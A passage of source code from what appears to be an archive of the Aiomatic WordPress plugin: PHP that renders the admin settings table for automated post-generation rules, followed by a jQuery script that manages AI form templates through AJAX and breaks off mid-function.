<option value="post-format-video"'; if ($post_format == 'post-format-video') { $output .= ' selected'; } $output .= '>' . esc_html__("Video", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="post-format-audio"'; if ($post_format == 'post-format-audio') { $output .= ' selected'; } $output .= '>' . esc_html__("Audio", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="post-format-chat"'; if ($post_format == 'post-format-chat') { $output .= ' selected'; } $output .= '>' . esc_html__("Chat", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the ID of the parent of created posts. This is useful for BBPress integration, to assign forum IDs for created topics or for other similar functionalities.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Post Parent ID", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="text" class="cr_width_full" name="aiomatic_youtube_list[parent_id][]" value="' . esc_attr($parent_id) . '" placeholder="Post parent ID" class="cr_width_full"> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Do you want to enable comments for the generated posts?", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Enable Comments For Posts", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="enable_comments" name="aiomatic_youtube_list[enable_comments][]"'; if ($enable_comments == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Do you want to enable pingbacks and trackbacks for the generated posts?", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Enable Pingback/Trackback", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="enable_pingback" name="aiomatic_youtube_list[enable_pingback][]"'; if ($enable_pingback == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . sprintf( wp_kses( __( "Do you want to set a custom post publish date for posts? Set the range in the below field Accepted values for this field are listed: <a href='%s' target='_blank'>here</a>. To disable this feature, leave this field blank.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), esc_url_raw( 'https://www.php.net/manual/en/datetime.formats.php' ) ) . ' </div> </div> <b>' . esc_html__("Set a Custom Post Publish Date Range", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="text" id="min_time" name="aiomatic_youtube_list[min_time][]" placeholder="Start time" value="' . esc_attr($min_time) . '" class="cr_half"> - <input type="text" id="max_time" name="aiomatic_youtube_list[max_time][]" value="' . esc_attr($max_time) . '" placeholder="End time" class="cr_half"> </div> </td></tr><tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text_top cr_min_260px">' . esc_html__("Set the custom fields that will be set for generated posts. The syntax for this field is the following: custom_field_name1 => custom_field_value1, custom_field_name2 => custom_field_value2, ... . You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You can also use the following topic based shortcodes: %%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Post Custom Fields", 'aiomatic-automatic-ai-content-writer') . ':</b> <b><a href="https://coderevolution.ro/knowledge-base/faq/post-template-reference-advanced-usage/" target="_blank">ⓘ</a></b> </td><td> <textarea rows="1" cols="70" name="aiomatic_youtube_list[custom_fields][]" placeholder="Please insert your desired custom fields. Example: title_custom_field => %%post_title%%" class="cr_width_full">' . esc_textarea($custom_fields) . '</textarea> </div> </td></tr><tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text_top cr_min_260px">' . esc_html__("Set the custom taxonomies that will be set for generated posts. The syntax for this field is the following: custom_taxonomy_name1 => custom_taxonomy_value1A, custom_taxonomy_value1B; custom_taxonomy_name2 => custom_taxonomy_value2A, custom_taxonomy_value2B; ... . You can also set hierarhical taxonomies (parent > child), in this format: custom_taxonomy_name => parent1 > child1 . You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You can also use the following topic based shortcodes: %%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Post Custom Taxonomies", 'aiomatic-automatic-ai-content-writer') . ':</b> <b><a href="https://coderevolution.ro/knowledge-base/faq/post-template-reference-advanced-usage/" target="_blank">ⓘ</a></b> </td><td> <textarea rows="1" cols="70" name="aiomatic_youtube_list[custom_tax][]" placeholder="Please insert your desired custom taxonomies. Example: custom_taxonomy_name => %%post_title%%" class="cr_width_full">' . esc_textarea($custom_tax) . '</textarea> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text_top cr_min_260px">' . esc_html__("Enter a 2 letter language code that will be assigned as the WPML/Polylang language for posts. Example: for German, input: de", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Assign WPML/Polylang Language to Posts", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="text" class="cr_width_full" name="aiomatic_youtube_list[wpml_lang][]" value="' . esc_attr($wpml_lang) . '" placeholder="WPML/Polylang language" class="cr_width_full"> </div> </td></tr> <tr><td colspan="2"><h3>' . esc_html__('Scheduling Restrictions', 'aiomatic-automatic-ai-content-writer') . ':</h3></td></tr><tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the days of the week when you don't want to run this rule. You can enter a comma separate list of day names.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Do Not Run This Rule On The Following Days Of The Week", 'aiomatic-automatic-ai-content-writer') . ':</b> <br/>' . esc_html__("Current Server Time:", 'aiomatic-automatic-ai-content-writer') . ' ' . date('l', time()) . ', ' . date("Y-m-d H:i:s") . ' </td><td> <input type="text" class="cr_width_full" name="aiomatic_youtube_list[days_no_run][]" value="' . esc_attr($days_no_run) . '" placeholder="Mo,Tu,We,Th,Fr,Sa,Su" class="cr_width_full"> </div> </td></tr></table></div> </div> <div class="codemodalfzr-footer"> <br/> <h3 class="cr_inline">Aiomatic Automatic Post Generator</h3><span id="aiomatic_ok' . esc_html($cont) . '" class="codeokfzr cr_inline">OK </span> <br/><br/> </div> </div> </div> </td> <td class="cr_shrt_td2"><span class="wpaiomatic-delete">X</span></td> <td class="cr_short_td"><input type="checkbox" name="aiomatic_youtube_list[active][]" class="activateDeactivateClass" value="1"'; if (isset($active) && $active === '1') { $output .= ' checked'; } $output .= '/> <input type="hidden" name="aiomatic_youtube_list[last_run][]" value="' . esc_attr($last_run) . '"/> <input type="hidden" name="aiomatic_youtube_list[rule_unique_id][]" value="' . esc_attr($rule_unique_id) . '"/></td> <td class="cr_shrt_td2"><div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . sprintf( wp_kses( __( 'Shortcode for this rule<br/>(to cross-post from this plugin in other plugins):', 'aiomatic-automatic-ai-content-writer'), array( 'br' => array( ) ) ) ) . '<br/><b>%%aiomatic_1_' . esc_html($cont) . '%% and %%aiomatic_title_1_' . esc_html($cont) . '%%</b><br/>' . esc_html__('Posts Generated:', 'aiomatic-automatic-ai-content-writer') . ' ' . esc_html($generated_posts) . '<br/>'; if ($generated_posts != 0) { $output .= '<a href="' . get_admin_url() . 'edit.php?coderevolution_post_source=Aiomatic_1_' . esc_html($cont) . '&post_type=' . esc_html($def_type) . '" target="_blank">' . esc_html__('View Generated Posts', 'aiomatic-automatic-ai-content-writer') . '</a><br/>'; } $output .= esc_html__('Last Run: ', 'aiomatic-automatic-ai-content-writer'); if ($last_run == '1988-01-27 00:00:00') { $output .= 'Never'; } else { $output .= $last_run; } $output .= '<br/>' . esc_html__('Next Run: ', 'aiomatic-automatic-ai-content-writer'); if($unlocker == '1') { $nextrun = aiomatic_add_minute($last_run, $schedule); } else { $nextrun = aiomatic_add_hour($last_run, $schedule); } $now = aiomatic_get_date_now(); if (isset($active) && $active === '1') { if($unlocker == '1') { $aiomatic_hour_diff = (int)aiomatic_minute_diff($now, $nextrun); } else { $aiomatic_hour_diff = (int)aiomatic_hour_diff($now, $nextrun); } if ($aiomatic_hour_diff >= 0) { if($unlocker == '1') { $append = 'Now.'; } else { $append = 'Now.'; } $cron = _get_cron_array(); if ($cron != FALSE) { $date_format = _x('Y-m-d H:i:s', 'Date Time Format1', 'aiomatic-automatic-ai-content-writer'); foreach ($cron as $timestamp => $cronhooks) { foreach ((array) $cronhooks as $hook => $events) { if ($hook == 'aiomaticaction') { foreach ((array) $events as $key => $event) { $append = date_i18n($date_format, $timestamp); } } } } } $output .= $append; } else { $output .= $nextrun; } } else { $output .= esc_html__('Rule Disabled', 'aiomatic-automatic-ai-content-writer'); } $output .= '<br/>' . esc_html__('Local Time: ', 'aiomatic-automatic-ai-content-writer') . $now; $output .= '</div> </div></td> <td class="cr_center"> <div> <img id="run_img' . esc_html($cont) . '" src="' . plugin_dir_url(dirname(__FILE__)) . 'images/running.gif' . '" alt="Running" class="cr_status_icon'; if (!empty($running)) { if (!in_array(array($cont => 1), $running)) { $f = fopen(get_temp_dir() . 'aiomatic_1_' . $cont, 'w'); if($f !== false) { flock($f, LOCK_UN); fclose($f); global $wp_filesystem; if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){ include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() ); wp_filesystem($creds); } $wp_filesystem->delete(get_temp_dir() . 'aiomatic_1_' . $cont); } $output .= ' cr_hidden'; } else { $f = fopen(get_temp_dir() . 'aiomatic_1_' . $cont, 'w'); if($f !== false) { if (!flock($f, LOCK_EX | LOCK_NB)) { } else { $output .= ' cr_hidden'; flock($f, LOCK_UN); if (($xxkey = array_search(array($cont => 1), $running)) !== false) { unset($running[$xxkey]); update_option('aiomatic_running_list', $running); } } } } } else { $f = fopen(get_temp_dir() . 'aiomatic_1_' . $cont, 'w'); if($f !== false) { flock($f, LOCK_UN); fclose($f); global $wp_filesystem; if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){ include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() ); wp_filesystem($creds); } $wp_filesystem->delete(get_temp_dir() . 'aiomatic_1_' . $cont); } $output .= ' cr_hidden'; } $output .= '" title="status"> <div class="codemainfzr cr_width_80p"> <select autocomplete="off" class="codemainfzr" id="actions" class="actions" name="actions" onchange="actionsChangedManual(' . esc_html($cont) . ', this.value, 1, \'' . esc_html($rule_unique_id) . '\');" onfocus="this.selectedIndex = 0;"> <option value="select" disabled selected>' . esc_html__("Select an Action", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="run">' . esc_html__("Run This Rule Now", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="duplicate">' . esc_html__("Duplicate This Rule", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="up">' . esc_html__("Move This Rule Up", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="down">' . esc_html__("Move This Rule Down", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="trash">' . esc_html__("Send All Posts To Trash", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="delete">' . esc_html__("Permanently Delete All Posts", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </div> </div> </td> </tr> '; $cont = $cont + 1; } } return $output; } ?>��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������scripts/forms.js������������������������������������������������������������������������������������0000644�����������������00000077210�14757771437�0007754 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������"use strict"; jQuery(document).ready(function ($) { $(document).on('change','.aiomatic-create-template-field-type', function(e){ var type = $(e.currentTarget).val(); var parentEl = $(e.currentTarget).closest('.aiomatic-template-form-field'); parentEl.find('.aiomatic-create-template-field-value-main').show(); if(type === 'select' || type === 'radio' || type === 'checkbox' || type === 'html'){ parentEl.find('.aiomatic-create-template-field-options-main').show(); parentEl.find('.aiomatic-create-template-field-min-main').hide(); parentEl.find('.aiomatic-create-template-field-placeholder-main').hide(); parentEl.find('.aiomatic-create-template-field-limit-main').hide(); parentEl.find('.aiomatic-create-template-field-max-main').hide(); parentEl.find('.aiomatic-create-template-field-rows-main').hide(); parentEl.find('.aiomatic-create-template-field-cols-main').hide(); } else if(type === 'textarea'){ parentEl.find('.aiomatic-create-template-field-rows-main').show(); parentEl.find('.aiomatic-create-template-field-cols-main').show(); parentEl.find('.aiomatic-create-template-field-options-main').hide(); parentEl.find('.aiomatic-create-template-field-placeholder-main').show(); parentEl.find('.aiomatic-create-template-field-limit-main').show(); parentEl.find('.aiomatic-create-template-field-min-main').hide(); parentEl.find('.aiomatic-create-template-field-max-main').hide(); } else if(type === 'number'){ parentEl.find('.aiomatic-create-template-field-rows-main').hide(); parentEl.find('.aiomatic-create-template-field-cols-main').hide(); parentEl.find('.aiomatic-create-template-field-options-main').hide(); parentEl.find('.aiomatic-create-template-field-placeholder-main').show(); parentEl.find('.aiomatic-create-template-field-limit-main').show(); parentEl.find('.aiomatic-create-template-field-min-main').show(); parentEl.find('.aiomatic-create-template-field-max-main').show(); } else{ parentEl.find('.aiomatic-create-template-field-rows-main').hide(); parentEl.find('.aiomatic-create-template-field-cols-main').hide(); parentEl.find('.aiomatic-create-template-field-options-main').hide(); parentEl.find('.aiomatic-create-template-field-placeholder-main').show(); parentEl.find('.aiomatic-create-template-field-limit-main').show(); parentEl.find('.aiomatic-create-template-field-min-main').hide(); parentEl.find('.aiomatic-create-template-field-max-main').hide(); } }) var aiomaticCreateField = $('.aiomatic-template-form-field-default'); $('#aiomatic-create-form-field').on("click", function(e){ e.preventDefault(); if(aiomaticCreateField !== null) { var temphtml = aiomaticCreateField.html().replace(' aiomatic-hidden-form',''); $('.aiomatic-template-fields').append(temphtml); aiomaticSortField(); } }); $('body').on("click", '.aiomatic-create-form-field', function(e){ e.preventDefault(); if(aiomaticCreateField !== null) { var temphtml = aiomaticCreateField.html().replace(' aiomatic-hidden-form',''); $('.aiomatic-template-fields').append(temphtml); aiomaticSortField(); } }); $('#aiomatic-show-hide-field').on("click", function(e){ e.preventDefault(); if(jQuery('#hideAdv').is(":visible")) { jQuery("#hideAdv").hide(); } else { jQuery("#hideAdv").show(); } }); $(document).on('click','.aiomatic-show-hide-field', function(e){ e.preventDefault(); if(jQuery('#hideAdv_edit').is(":visible")) { jQuery("#hideAdv_edit").hide(); } else { jQuery("#hideAdv_edit").show(); } }); $(document).on('click','.header-al-right', function(e){ e.preventDefault(); if(jQuery('.main-form-holder').is(":visible")) { jQuery(".main-form-holder").hide(); jQuery('.header-al-right').html('Show Input Fields'); } else { jQuery(".main-form-holder").show(); jQuery('.header-al-right').html('Hide Input Fields'); } }); function aioGenerateRandomString(length) { const characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; let result = ''; const charactersLength = characters.length; for (let i = 0; i < length; i++) { result += characters.charAt(Math.floor(Math.random() * charactersLength)); } return result; } $(document).on('click','.aiomatic-field-delete', function(e){ if(confirm('Are you sure you want to delete this field?')) { $(e.currentTarget).parent().parent().parent().remove(); aiomaticSortField(); } }); $(document).on('click','.aiomatic-field-up', function(e){ let field = $(e.currentTarget).parent().parent().parent(); let prevField = field.prev('.aiomatic-template-form-field'); if (prevField.length !== 0) { field.insertBefore(prevField); aiomaticSortField(); } }); $(document).on('click','.aiomatic-field-down', function(e){ let field = $(e.currentTarget).parent().parent().parent(); let nextField = field.next('.aiomatic-template-form-field'); if (nextField.length !== 0) { field.insertAfter(nextField); aiomaticSortField(); } }); $(document).on('click', '.aiomatic-field-duplicate', function(e) { if(confirm('Are you sure you want to duplicate this field?')) { let clonedElement = $(e.currentTarget).parent().parent().parent().clone(); let inputField = clonedElement.find('input[placeholder="my_unique_input_id"]'); let originalValue = inputField.val(); inputField.val(originalValue + '-' + aioGenerateRandomString(5)); $(e.currentTarget).parent().parent().parent().after(clonedElement); aiomaticSortField(); } }); $(document).on('click','.aiomatic-field-delete-add', function(e){ if(confirm('Are you sure you want to delete this field?')) { $(e.currentTarget).parent().parent().remove(); aiomaticSortField(); } }); $(document).on('click','.aiomatic-field-up-add', function(e){ let field = $(e.currentTarget).parent().parent(); let prevField = field.prev('.aiomatic-template-form-field'); if (prevField.length !== 0) { field.insertBefore(prevField); aiomaticSortField(); } }); $(document).on('click','.aiomatic-field-down-add', function(e){ let field = $(e.currentTarget).parent().parent(); let nextField = field.next('.aiomatic-template-form-field'); if (nextField.length !== 0) { field.insertAfter(nextField); aiomaticSortField(); } }); $(document).on('click', '.aiomatic-field-duplicate-add', function(e) { if(confirm('Are you sure you want to duplicate this field?')) { let clonedElement = $(e.currentTarget).parent().parent().clone(); let inputField = clonedElement.find('input[placeholder="my_unique_input_id"]'); let originalValue = inputField.val(); inputField.val(originalValue + '-' + aioGenerateRandomString(5)); $(e.currentTarget).parent().parent().after(clonedElement); aiomaticSortField(); } }); var aiomaticFieldInputs = ['label','id','required','type','min','max','options','rows','cols','placeholder','limit','value']; function aiomaticSortField(){ $('.aiomatic-template-fields .aiomatic-template-form-field').each(function(idx, item){ $.each(aiomaticFieldInputs, function(idxy, field){ $(item).find('.aiomatic-create-template-field-'+field).attr('name','aiomaticfields['+idx+']['+field+']'); }); }) } $("#checkedAll").on('change', function() { if (this.checked) { $(".aiomatic-select-form").each(function() { this.checked=true; }); } else { $(".aiomatic-select-form").each(function() { this.checked=false; }); } }); function aiomaticLoading(btn) { btn.attr('disabled','disabled'); if(!btn.find('spinner').length){ btn.append('<span class="spinner"></span>'); } btn.find('.spinner').css('visibility','unset'); } function aiomaticDisable(btn) { btn.prop('disabled', true); } function aiomaticEnable(btn) { btn.removeAttr('disabled'); } function aiomaticRmLoading(btn) { btn.removeAttr('disabled'); btn.find('.spinner').remove(); } $('#aiomatic_sync_forms').on('click', function (){ var btn = $(this); aiomaticLoading(btn); var currentUrl = window.location.href; var updatedUrl = currentUrl.replace(/(\?|&)wpage=[^&]+/, ''); window.location.href = updatedUrl; }); $('#aiomatic_upload_forms').on('click', function (){ if(confirm('Are you sure you want to add forms from the CSV file?')) { var aiomatic_csv_upload = $('#aiomatic_csv_upload'); var btn = $(this); aiomaticLoading(btn); var data = { action: 'aiomatic_upload_forms', nonce: aiomatic_object.nonce, }; if(aiomatic_csv_upload[0].files.length === 0){ alert('Please select a file!'); } else{ var aiomatic_max_file_size = aiomatic_object.maxfilesize; var aiomatic_max_size_in_mb = aiomatic_object.maxfilesize / (1024 ** 2); var aiomatic_form_file = aiomatic_csv_upload[0].files[0]; var aiomatic_form_file_extension = aiomatic_form_file.name.substr( (aiomatic_form_file.name.lastIndexOf('.') +1) ); if(aiomatic_form_file_extension !== 'csv'){ aiomatic_csv_upload.val(''); alert('This feature only accepts csv file type!'); } else if(aiomatic_form_file.size > aiomatic_max_file_size){ aiomatic_csv_upload.val(''); alert('Dataset allowed maximum size (MB): '+ aiomatic_max_size_in_mb) } else{ var reader = new FileReader(); reader.readAsText(aiomatic_form_file, "UTF-8"); reader.onload = function (evt) { var formData = new FormData(); formData.append('action', 'aiomatic_forms_upload'); formData.append('xfile', evt.target.result); formData.append('nonce', aiomatic_object.nonce); $.ajax({ url: aiomatic_object.ajax_url, type: 'POST', dataType: 'JSON', data: formData, success: function(res) { if(res.status === 'success'){ aiomaticRmLoading(btn); alert('File uploaded successfully!'); } else{ aiomaticRmLoading(btn); alert('An error occured: ' + JSON.stringify(res)); } }, cache: false, contentType: false, processData: false, error: function (r, s, error){ aiomaticRmLoading(btn); alert('Unable to upload file: ' + error); } }); } reader.onerror = function (evt) { alert("Error reading file: " + aiomatic_form_file.name + ' - ' + reader.error); } } } } }); $('#aiomatic_deleteall_forms').on('click', function (e){ e.preventDefault(); if(confirm('Are you sure you want to delete ALL forms?')) { var btn = $(this); aiomaticLoading(btn); var data = { action: 'aiomatic_deleteall_forms', nonce: aiomatic_object.nonce, }; $.ajax({ url: aiomatic_object.ajax_url, data: data, dataType: 'JSON', type: 'POST', success: function (res){ aiomaticRmLoading(btn); if(res.status === 'success'){ $('.aiomatic-forms-success').show(); $('.aiomatic-forms-content').val(''); setTimeout(function (){ $('.aiomatic-forms-success').hide(); },2000); location.reload(); } else{ alert(res.msg); } }, error: function (r, s, error){ aiomaticRmLoading(btn); alert('Error in processing form removal: ' + error); } }); } }); $('#aiomatic_delete_selected_forms').on('click', function (e){ e.preventDefault(); if(confirm('Are you sure you want to delete selected forms?')) { var btn = $(this); aiomaticLoading(btn); var ids = []; $('.aiomatic-select-form:checked').each(function (idx, item) { ids.push($(item).val()) }); if (ids.length) { var data = { action: 'aiomatic_delete_selected_form', nonce: aiomatic_object.nonce, ids: ids }; $.ajax({ url: aiomatic_object.ajax_url, data: data, dataType: 'JSON', type: 'POST', success: function (res){ aiomaticRmLoading(btn); if(res.status === 'success'){ $('.aiomatic-forms-success').show(); $('.aiomatic-forms-content').val(''); setTimeout(function (){ $('.aiomatic-forms-success').hide(); },2000); location.reload(); } else{ alert(res.msg); } }, error: function (r, s, error){ aiomaticRmLoading(btn); alert('Error in processing form removal: ' + error); } }); } else { alert('No forms selected'); aiomaticRmLoading(btn); } } }); $('#aiomatic_forms_form').on('submit', function (e) { e.preventDefault(); var form = $('#aiomatic_forms_form'); var btn = form.find('#aiomatic-form-save-button'); var title = $('#aiomatic-form-title').val(); var prompt = $('#aiomatic-form-prompt').val(); if(title === '' || prompt === ''){ alert('Please insert all required values!'); } else{ var data = form.serialize(); $.ajax({ url: aiomatic_object.ajax_url, data: data, dataType: 'JSON', type: 'POST', beforeSend: function (){ aiomaticLoading(btn); }, success: function (res){ aiomaticRmLoading(btn); if(res.status === 'success'){ $('.aiomatic-forms-success').html("Form saved successfully, you can use the following shortcode to show it:<br/><b>[aiomatic-form id='" + res.id + "']</b>"); $('.aiomatic-forms-success').show(); location.reload(); } else{ alert(res.msg); } }, error: function (r, s, error){ aiomaticRmLoading(btn); alert('Error in processing form saving: ' + error); } }); } return false; }); $('body').on("click", '#aiomatic-form-save-button_edit',function(e) { var form = $('#aiomatic_forms_form_edit'); var btn = form.find('#aiomatic-form-save-button_edit'); var title = $('#aiomatic-form-title_edit').val(); var prompt = $('#aiomatic-form-prompt_edit').val(); var submit = $('#aiomatic-submit_edit').val(); if(title === '' || prompt === '' || submit == ''){ alert('Please insert all required values!'); } else{ var data = form.serialize(); $.ajax({ url: aiomatic_object.ajax_url, data: data, dataType: 'JSON', type: 'POST', beforeSend: function (){ aiomaticLoading(btn); }, success: function (res){ aiomaticRmLoading(btn); if(res.status === 'success'){ $('.aiomatic-forms-success').html("Form saved successfully, you can use the following shortcode to show it:<br/><b>[aiomatic-form id='" + res.id + "']</b>"); $('.aiomatic-forms-success').show(); } else{ alert(res.msg); } }, error: function (r, s, error){ aiomaticRmLoading(btn); alert('Error in processing form saving: ' + error); } }); } location.reload(); return false; }); $(".aiomatic_delete_form").on('click', function(e) { if(confirm('Are you sure you want to delete this form?')) { var formid = $(this).attr("delete-id"); if(formid == '') { alert('Incorrect delete id submitted'); } else { e.preventDefault(); var data = { action: 'aiomatic_delete_form', formid: formid, nonce: aiomatic_object.nonce, }; jQuery.ajax({ url: aiomatic_object.ajax_url, data: data, dataType: 'JSON', type: 'POST', beforeSend: function (){ aiomaticDisable($('#aiomatic_delete_form_' + formid)); }, success: function (res){ if(res.status === 'success'){ location.reload(); } else{ alert(res.msg); location.reload(); } }, error: function (r, s, error){ alert('Error in processing form deletion: ' + error); location.reload(); } }); } } }); $(".aiomatic_duplicate_form").on('click', function(e) { if(confirm('Are you sure you want to duplicate this form?')) { var formid = $(this).attr("data-id"); if(formid == '') { alert('Incorrect data id submitted'); } else { e.preventDefault(); var data = { action: 'aiomatic_duplicate_form', formid: formid, nonce: aiomatic_object.nonce, }; jQuery.ajax({ url: aiomatic_object.ajax_url, data: data, dataType: 'JSON', type: 'POST', beforeSend: function (){ aiomaticDisable($('#aiomatic_duplicate_form_' + formid)); }, success: function (res){ if(res.status === 'success'){ location.reload(); } else{ alert(res.msg); location.reload(); } }, error: function (r, s, error){ alert('Error in processing form duplication: ' + error); location.reload(); } }); } } }); var aiomatic_form_button = $('#aiomatic_form_default_button'); aiomatic_form_button.on('click', function (e){ if(confirm('Are you sure you want to load the default forms which came bundled with the plugin?')) { e.preventDefault(); var data = { action: 'aiomatic_default_form', nonce: aiomatic_object.nonce, }; jQuery.ajax({ url: aiomatic_object.ajax_url, data: data, dataType: 'JSON', type: 'POST', beforeSend: function (){ aiomaticDisable($('#aiomatic_form_default_button')); }, success: function (res){ if(res.status === 'success'){ alert('Default forms loaded successfully!'); location.reload(); } else{ alert(res.msg); location.reload(); } }, error: function (r, s, error){ alert('Error in processing form loading: ' + error); location.reload(); } }); } }); var aiomatic_manage_form = $('.aiomatic_manage_form'); var aiomaticAjaxRunning = false; aiomatic_manage_form.on('click', function (){ if(!aiomaticAjaxRunning) { var btn = $(this); var id = btn.attr('data-id'); $.ajax({ url: aiomatic_object.ajax_url, data: {action: 'aiomatic_get_form', id: id, nonce: aiomatic_object.nonce}, dataType: 'JSON', type: 'POST', beforeSend: function () { aiomaticAjaxRunning = true; aiomaticLoading(btn); }, success: function (res) { aiomaticAjaxRunning = false; aiomaticRmLoading(btn); if (res.status === 'success') { $('.aiomatic_modal_title').html('Edit this form'); $('.aiomatic_modal_content').html(res.data); $('.aiomatic-overlay').show(); $('.aiomatic_modal').show(); } else { alert(res.msg); } }, error: function (r, s, error) { aiomaticAjaxRunning = false; aiomaticRmLoading(btn); alert('Error in processing form editing: ' + error); } }); } }); var aiomatic_preview_form = $('.aiomatic_preview_form'); aiomatic_preview_form.on('click', function (){ if(!aiomaticAjaxRunning) { var btn = $(this); var id = btn.attr('data-id'); $.ajax({ url: aiomatic_object.ajax_url, data: {action: 'aiomatic_preview_form', id: id, nonce: aiomatic_object.nonce}, type: 'POST', beforeSend: function () { aiomaticAjaxRunning = true; $('.aiomatic_modal_content').html(''); aiomaticLoading(btn); }, success: function (res) { aiomaticAjaxRunning = false; aiomaticRmLoading(btn); $('.aiomatic_modal_title').html(''); $('.aiomatic_modal_content').html(res); $('.aiomatic-overlay').show(); $('.aiomatic_modal').show(); }, error: function (r, s, error) { aiomaticAjaxRunning = false; aiomaticRmLoading(btn); alert('Error in processing form previewing: ' + error); } }); } }); $('.aiomatic_modal_close').on('click', function (){ $('.aiomatic_modal_close').closest('.aiomatic_modal').hide(); $('.aiomatic_modal_close').closest('.aiomatic_modal').removeClass('aiomatic-small-modal'); $('.aiomatic-overlay').hide(); }); var aiomatic_form_button = $('#aiomatic_form_button'); aiomatic_form_button.on('click', function (){ if(confirm('Are you sure you want to load forms from file?')) { var aiomatic_form_upload = $('#aiomatic_form_upload'); if($("#aiomatic_overwrite").is(':checked')) { var overwrite = '1'; } else { var overwrite = '0'; } if(aiomatic_form_upload[0].files.length === 0){ alert('Please select a file!'); } else{ var aiomatic_progress = $('.aiomatic_progress'); var aiomatic_error_message = $('.aiomatic-error-msg'); var aiomatic_upload_success = $('.aiomatic_upload_success'); var aiomatic_max_file_size = aiomatic_object.maxfilesize; var aiomatic_max_size_in_mb = aiomatic_object.maxfilesize / (1024 ** 2); var aiomatic_form_file = aiomatic_form_upload[0].files[0]; var aiomatic_form_file_extension = aiomatic_form_file.name.substr( (aiomatic_form_file.name.lastIndexOf('.') +1) ); if(aiomatic_form_file_extension !== 'json'){ aiomatic_form_upload.val(''); alert('This feature only accepts JSON file type!'); } else if(aiomatic_form_file.size > aiomatic_max_file_size){ aiomatic_form_upload.val(''); alert('Dataset allowed maximum size (MB): '+ aiomatic_max_size_in_mb) } else{ var formData = new FormData(); formData.append('action', 'aiomatic_form_upload'); formData.append('nonce', aiomatic_object.nonce); formData.append('overwrite', overwrite); formData.append('file', aiomatic_form_file); $.ajax({ url: aiomatic_object.ajax_url, type: 'POST', dataType: 'JSON', data: formData, beforeSend: function (){ aiomatic_progress.find('span').css('width','0'); aiomatic_progress.show(); aiomaticLoading(aiomatic_form_button); aiomatic_error_message.hide(); aiomatic_upload_success.hide(); }, xhr: function() { var xhr = $.ajaxSettings.xhr(); xhr.upload.addEventListener("progress", function(evt) { if (evt.lengthComputable) { var percentComplete = evt.loaded / evt.total; aiomatic_progress.find('span').css('width',(Math.round(percentComplete * 100))+'%'); } }, false); return xhr; }, success: function(res) { if(res.status === 'success'){ aiomaticRmLoading(aiomatic_form_button); aiomatic_progress.hide(); aiomatic_form_upload.val(''); aiomatic_upload_success.show(); location.reload(); } else{ aiomaticRmLoading(aiomatic_form_button); aiomatic_progress.find('small').html('Error'); aiomatic_progress.addClass('aiomatic_error'); aiomatic_error_message.html(res.msg); aiomatic_error_message.show(); } }, cache: false, contentType: false, processData: false, error: function (r, 